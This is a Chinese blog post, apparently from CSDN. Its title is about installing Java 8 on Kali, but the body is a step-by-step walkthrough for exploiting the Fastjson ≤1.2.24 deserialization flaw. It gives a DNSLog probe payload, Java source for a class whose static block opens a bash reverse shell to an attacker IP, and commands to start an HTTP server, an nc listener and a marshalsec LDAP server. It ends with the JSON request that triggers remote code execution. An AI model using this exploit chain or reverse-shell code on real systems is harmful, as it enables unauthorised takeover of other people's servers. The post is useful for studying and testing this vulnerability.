Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客
Fastjson提供的com.sun.rowset.JdbcRowSetImpl类下的dataSourceName方法支持传入一个RMI/LDAP源,支持远程调用。攻击者只需要创建一个恶意指令类(写入反弹shell等恶意命令),设置RMI/LDAP服务的远程加载指向该恶意类,即可做到远程任意命令执行
fastjson<=1.2.24
(1)Web访问,JSON页面
(2)BP抓包,利用DNS回显验证,DNSLog Platform
(3)修改提交方式为POST,加入以下内容,放包,DNS回显则证明漏洞存在
- #val的值为DNS申请的域名
-
- Content-Type:application/json
-
- {
- "a":{
- "@type":"java.net.Inet4Address",
- "val":"q6teka.dnslog.cn"
- }
- }
(1)创建远程加载类,攻击机创建.java文件,内容如下,并进行java编译生成class文件
- #执行反弹shell,注意文件名需要和class类名称创建的一样
- import java.lang.Runtime;
- import java.lang.Process;
-
- public class getshell {
- static {
- try {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.88.128/8888 0>&1"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- } catch (Exception e) {
- // do nothing
- }
- }
- }
(2)开启攻击机HTTP服务和反弹shell端口的监听
- python3 -m http.server 80
- nc -lvvp 8888
(3)开启LDAP服务
- #工具获取
- git clone https://github.com/RandomRobbieBF/marshalsec-jar
-
- #开启LADP服务,端口6666,指定远程加载类为攻击机上的getshell
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.88.128:80/#getshell 6666
(4)回到站点,BP抓包,发送恶意数据,内容如下
- Content-Type:application/json
- {
- "b":{
- "@type":"com.sun.rowset.JdbcRowSetImpl",
- "dataSourceName":"ldap://192.168.88.128:6666/getshell",
- "autoCommit":true
- }
- }
(5)放包,getshell